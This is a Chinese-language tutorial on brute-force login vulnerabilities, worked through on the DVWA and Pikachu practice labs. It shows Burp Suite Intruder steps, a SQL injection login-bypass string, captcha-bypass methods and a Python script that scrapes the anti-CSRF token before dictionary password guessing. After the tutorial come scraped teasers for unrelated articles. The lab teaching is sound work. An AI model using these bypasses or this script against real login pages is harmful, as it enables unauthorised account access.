暴力破解漏洞
暴力破解漏洞
- 1.1 漏洞简介
- 1.2 漏洞影响范围
- 1.3 漏洞详解
- 1.3.1DVWA
- (1)LOW
- (2)Medium
- (3)HIGH
- 1.3.2 Pikachu
- (1)验证码绕过(on server)
- (2)验证码绕过(on client)
- 1.3.3 识别验证码(绕过)
- 1.3.4 密码加密的情况
1.1 漏洞简介
暴力破解是一攻击具手段,在 web 攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。 为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。
理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。 我们说一个 web 应用系统存在暴力破解漏洞,一般是指该 web 应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的可能性变的比较高。 这里的认证安全策略, 包括: 1.是否要求用户设置复杂的密码; 2.是否每次认证都使用安全的验证码或者手机 otp; 3.是否对尝试登录的行为进行判断和限制(如:连续 5 次错误登录,进行账号锁定或 IP 地址锁定等); 4.是否采用了双因素认证。
1.2 漏洞影响范围
暴力破解漏洞是指攻击者通过尝试大量可能的密码、密钥或凭证来获得未经授权的访问权限。这种漏洞可能会影响各种系统和应用程序,包括网络服务器、数据库、操作系统和应用程序。
暴力破解漏洞的影响范围取决于受影响系统的安全性和防护措施。如果系统没有实施强大的密码策略、账户锁定机制或其他安全措施,那么暴力破解攻击可能会导致未经授权的访问、信息泄露、数据损坏或其他安全问题。
1.3 漏洞详解
1.3.1DVWA
(1)LOW
(1)方法一:
-
输入用户名密码抓包
-
发送给重发器查看
-
发至测试器,设置进行爆破
-
点击 clear 去掉全部,选中需要爆破的点击 add,添加需要爆破的字段
-
点击有效载荷,选择字典,可选择bp自带的或者载入自己的字典
-
选择攻击结果
-
清除不匹配的提示,添加时间报错页面或者正常返回页面的提示
-
开始爆破
(2)方法二 -
查看源码
-
只要传入参数为真即可,所以我们考虑进行 sql 注入:admin’ or ‘1’='1
(2)Medium
- isset() 函数用于检测变量是否已设置并且非 NULL。返回 TRUE。
- is_object() 函数用于检测变量是否是一个对象
- mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。返回已转义的字符串。
由于 mysqli_real_escape_string()对字符串进行了转义,所以 sql 注入将不能运用,所以直接用方法 1 burpsuite 爆破,只不过时间长了点而已。因为试一次密码要过滤 2 秒才能试下一个
(3)HIGH
-
stripslashes(string): 去除掉 string 字符的反斜杠\
-
mysqli_real_escape_string(string,connection)函数会对字符串 string 中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
使用了 stripslashes 函数和 mysqli_real_esacpe_string 来抵御 SQL 注入和 XSS 的攻击 -
代码增加了 token 机制
-
由于使用了 Anti-CSRF token,每次服务器返回的登陆页面中都会包含一个随机的 user_token 的值,用户每次登录时都要将 user_token 一起提交。服务器收到请求后,会优先做 token 的检查,再进行 sql 查询。所以我们无法通过 burpsuite 爆破出结果,所以先进行抓包。
python 进行爆破
from bs4 import BeautifulSoup
import requestsheader={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,imgs/image/avif,imgs/image/webp,*/*;q=0.8','Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding':'gzip, deflate','Connection': 'close','Referer':'http://127.0.0.1:81/dvwa/vulnerabilities/brute/','Cookie': 'security=high; PHPSESSID=h0t00163l0ktcpsdfitm24nhsj','Upgrade-Insecure-Requests': '1'}
requrl = "http://127.0.0.1:81/dvwa/vulnerabilities/brute/"def get_token(requrl,header):response=requests.get(url=requrl,headers=header)print(response.status_code,len(response.content))soup=BeautifulSoup(response.text,"lxml")form=soup.select('form')[0]input=form.select("input[type='hidden']")#获取用户的tokenuser_token = input[0]['value']# print(user_token)return user_tokenuser_token=get_token(requrl,header)
i=0
for line in open("./pass_dic.txt"):# http://127.0.0.1:81/dvwa/vulnerabilities/brute/?username=admin&password=password&Login=Login&user_token=195c56bdfe59283bbf3baacee15ada60#password = line.strip()url = f"http://127.0.0.1:81/dvwa/vulnerabilities/brute/?username=admin&password={password}&Login=Login&user_token={user_token}"i=i+1# print(i, 'admin', line.strip(), end=" ")print(f"{i}-->admin:admin,password:{password}")user_token = get_token(url, header)if(i==20):break
1.3.2 Pikachu
(1)验证码绕过(on server)
-
将 bp 抓到的数据表发送给 repeater,删除验证码、输入错误验证码,查看返回的结果
-
刷新页面,记住验证码,然后修改数据包中的验证码,账号密码不变,显示用户名或密码存在
-
验证码不变,修改用户名或密码,查看返回结果,显示用户名或密码不正确,说名验证码是可以重复利用的,没有过期时间
-
将数据包发送给 Intruder 进行爆破
(2)验证码绕过(on client)
-
通过查看源码,发现验证码是前端生产的
-
将 bp 抓到的数据表发送给 repeater
-
删掉验证码,再次发送,没有提示要输入验证码,则说明此验证码对登录无效
-
将数据包发送给 Intruder 进行爆破
1.3.3 识别验证码(绕过)
待写…
1.3.4 密码加密的情况
待写…
相关文章:

暴力破解漏洞
暴力破解漏洞 1.1 漏洞简介1.2 漏洞影响范围1.3 漏洞详解1.3.1DVWA(1)LOW(2)Medium(3)HIGH 1.3.2 Pikachu(1)验证码绕过(on server)(2)验证码绕过(on client) 1.3.3 识别验证码(绕过)1.3.4 密码加密的情况 1.1 漏洞简介 暴力破解是一攻击具手段…...
前端成神之路-CSS基础选择器
前端成神之路-CSS基础选择器 目录 前端成神之路-CSS基础选择器 CSS选择器(重点) 1. CSS选择器作用(重点) 选择器的作用 2. CSS基础选择器 2.1 标签选择器 2.2 类选择器 2.3 类选择器特殊用法- 多类名 2.4 id选择器 id选…...

Endnote在word中加入参考文献及自定义参考文献格式方式
第一部分:在word中增加引用步骤 1、先下载对应文献的endnote引用格式,如在谷歌学术中的下载格式如下: 2、在endnote中打开存储env的格式库,导入对应下载的文件格式:file>import>file>choose,import对应文件&a…...

LeetCode力扣每日一题(Java):28、找出字符串中第一个匹配项的下标
别问我为什么今天做了两题,问就是我干概率论干废了,需要换换脑子想想不同类型的问题,所以来刷刷算法 一、题目 二、解题思路 1、我的思路 其实这题思路还挺简单的,我直接把代码放这,大家应该稍微看看就能懂 char[]…...

Java UDP 多人聊天室简易版
服务端 import java.io.*; import java.net.*; import java.util.ArrayList; public class Server{public static ServerSocket server_socket;public static ArrayList<Socket> socketListnew ArrayList<Socket>(); public static void main(String []args){try{…...

leetcode 100.相同的树
涉及到递归,最好多画图理解,希望对你们有帮助 100.相同的树 题目 给你两棵二叉树的根节点 p 和 q ,编写一个函数来检验这两棵树是否相同。 如果两个树在结构上相同,并且节点具有相同的值,则认为它们是相同的。 题目链接…...

2021年第十届数学建模国际赛小美赛A题气道阻力的评估解题全过程文档及程序
2021年第十届数学建模国际赛小美赛 A题 气道阻力的评估 原题再现: 气道阻力的定义是通过肺气道产生单位气流所需的经肺压力的变化。更简单地说,它是嘴和肺泡之间的压力差,除以气流。影响气道阻力的因素是多方面的,我们需要探讨这…...
内网环境安装K8S1.20.11版本集群
目录 第一章.实验要求和环境 1.1.实验要求 1.2.实验环境 1.3.依赖关系处理 第二章.K8S的安装过程 2.1.初始化到集群安装成功 ------------------------------ 环境准备 ------------------------------ docker安装好了后 2.2.安装K8组件 -------------------- 部署K8…...
【前端设计模式】之策略模式
概述 在前端开发中,我们经常会遇到需要根据不同的条件或情况来执行不同的算法或行为的情况。这时,策略模式就能派上用场。策略模式是一种行为型设计模式,它将不同的算法封装成独立的策略对象,使得这些算法可以互相替换࿰…...

JUC包(面试常问)
1. Callable接口 类似于Runnable接口,Runnable描述的任务,不带返回值;Callable描述的任务带返回值。 public class Test {//创建线程,计算12...1000public static void main(String[] args) throws ExecutionException, Interru…...

文字处理工具Word mac软件特点
Microsoft Word mac是一款文字处理软件。它是 Microsoft office 套件的一部分,已广泛用于创建、编辑和格式化文本文档。 Word mac软件特点 改进的协作工具:使用 Microsoft Word 2021,多个用户可以同时处理一个文档,从而更轻松地与…...

把 Windows 11 装进移动硬盘:Windows 11 To Go
本篇文章聊聊如何制作一个可以“说带走就带走”的 Windows 操作系统,将 Windows11 做成能够放在 U 盘或者移动硬盘里的 WinToGo “绿色软件”。 写在前面 在《开源的全能维护 U 盘工具:Ventoy》这篇文章的最后,我提到了一个关键词 “WinToG…...

11、pytest断言预期异常
官方用例 # content of test_exception_zero.py import pytestdef test_zero_division():with pytest.raises(ZeroDivisionError):1/0# content of test_exception_runtimeerror.py import pytestdef test_recursion_depth():with pytest.raises(RuntimeError) as excinfo:def…...

Vue之数据绑定
在我们Vue当中有两种数据绑定的方法 1.单向绑定 2.双向绑定 让我为大家介绍一下吧! 1、单向绑定(v-bind) 数据只能从data流向页面 举个例子: <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"…...
druid在没有web的项目中如何查看监控
(1)在这个网址下载druidStat.bat文件https://github.com/alibaba/druid/blob/master/core/src/main/scripts/druidStat.bat druidStat.bat文件内容如下: echo offset _RUNJAVA"%JAVA_HOME%\bin\java.exe" set _TOOLSJAR"%JA…...
游戏被攻击该怎么办?游戏盾该如何使用,游戏盾如何防护攻击
随着Internet互联网络带宽的增加和多种DDOS黑客工具的不断发布,DDOS拒绝服务攻击的实施越来越容易,DDOS攻击事件正在成上升趋势。出于商业竞争、打击报复和网络敲诈等多种因素,导致很多商业站点、游戏服务器、聊天网络等网络服务商长期以来一…...

【基于openGauss5.0.0简单使用DBMind】
基于openGauss5.0.0简单使用DBMind 一、环境说明二、初始化tpch测试数据三、使用DBMind索引推荐功能四、使用DBMind实现SQL优化功能 一、环境说明 虚拟机:virtualbox操作系统:openEuler 20.03 TLS数据库:openGauss-5.0.0DBMind:d…...

[递归回溯]连接卡片最短路径
小游戏 题目描述 一天早上,你起床的时候想:“我编程序这么牛,为什么不能靠这个挣点银子呢?”因此你决定编写一个小游戏。 游戏在一个分割成w * h个长方格子的矩形板上进行。如图所示,每个长方格子上可以有一张游戏…...

初识人工智能,一文读懂强化学习的知识文集(5)
🏆作者简介,普修罗双战士,一直追求不断学习和成长,在技术的道路上持续探索和实践。 🏆多年互联网行业从业经验,历任核心研发工程师,项目技术负责人。 🎉欢迎 👍点赞✍评论…...

视频封面提取:精准截图,如何从指定时长中提取某一帧图片
在视频制作和分享过程中,一个有吸引力的封面或截图往往能吸引更多的观众点击观看。有时候要在特定的时间段内从视频中提取一帧作为封面或截图。如果每个视频都手动提取的话就会耗费很长时间,那么如何智化能批量提取呢?现在一起来看下云炫AI智…...

JavaSec-RCE
简介 RCE(Remote Code Execution),可以分为:命令注入(Command Injection)、代码注入(Code Injection) 代码注入 1.漏洞场景:Groovy代码注入 Groovy是一种基于JVM的动态语言,语法简洁,支持闭包、动态类型和Java互操作性,…...

简易版抽奖活动的设计技术方案
1.前言 本技术方案旨在设计一套完整且可靠的抽奖活动逻辑,确保抽奖活动能够公平、公正、公开地进行,同时满足高并发访问、数据安全存储与高效处理等需求,为用户提供流畅的抽奖体验,助力业务顺利开展。本方案将涵盖抽奖活动的整体架构设计、核心流程逻辑、关键功能实现以及…...

visual studio 2022更改主题为深色
visual studio 2022更改主题为深色 点击visual studio 上方的 工具-> 选项 在选项窗口中,选择 环境 -> 常规 ,将其中的颜色主题改成深色 点击确定,更改完成...

STM32标准库-DMA直接存储器存取
文章目录 一、DMA1.1简介1.2存储器映像1.3DMA框图1.4DMA基本结构1.5DMA请求1.6数据宽度与对齐1.7数据转运DMA1.8ADC扫描模式DMA 二、数据转运DMA2.1接线图2.2代码2.3相关API 一、DMA 1.1简介 DMA(Direct Memory Access)直接存储器存取 DMA可以提供外设…...

Linux-07 ubuntu 的 chrome 启动不了
文章目录 问题原因解决步骤一、卸载旧版chrome二、重新安装chorme三、启动不了,报错如下四、启动不了,解决如下 总结 问题原因 在应用中可以看到chrome,但是打不开(说明:原来的ubuntu系统出问题了,这个是备用的硬盘&a…...
相机Camera日志分析之三十一:高通Camx HAL十种流程基础分析关键字汇总(后续持续更新中)
【关注我,后续持续新增专题博文,谢谢!!!】 上一篇我们讲了:有对最普通的场景进行各个日志注释讲解,但相机场景太多,日志差异也巨大。后面将展示各种场景下的日志。 通过notepad++打开场景下的日志,通过下列分类关键字搜索,即可清晰的分析不同场景的相机运行流程差异…...

【Oracle】分区表
个人主页:Guiat 归属专栏:Oracle 文章目录 1. 分区表基础概述1.1 分区表的概念与优势1.2 分区类型概览1.3 分区表的工作原理 2. 范围分区 (RANGE Partitioning)2.1 基础范围分区2.1.1 按日期范围分区2.1.2 按数值范围分区 2.2 间隔分区 (INTERVAL Partit…...
Device Mapper 机制
Device Mapper 机制详解 Device Mapper(简称 DM)是 Linux 内核中的一套通用块设备映射框架,为 LVM、加密磁盘、RAID 等提供底层支持。本文将详细介绍 Device Mapper 的原理、实现、内核配置、常用工具、操作测试流程,并配以详细的…...
PAN/FPN
import torch import torch.nn as nn import torch.nn.functional as F import mathclass LowResQueryHighResKVAttention(nn.Module):"""方案 1: 低分辨率特征 (Query) 查询高分辨率特征 (Key, Value).输出分辨率与低分辨率输入相同。"""def __…...
【学习笔记】erase 删除顺序迭代器后迭代器失效的解决方案
目录 使用 erase 返回值继续迭代使用索引进行遍历 我们知道类似 vector 的顺序迭代器被删除后,迭代器会失效,因为顺序迭代器在内存中是连续存储的,元素删除后,后续元素会前移。 但一些场景中,我们又需要在执行删除操作…...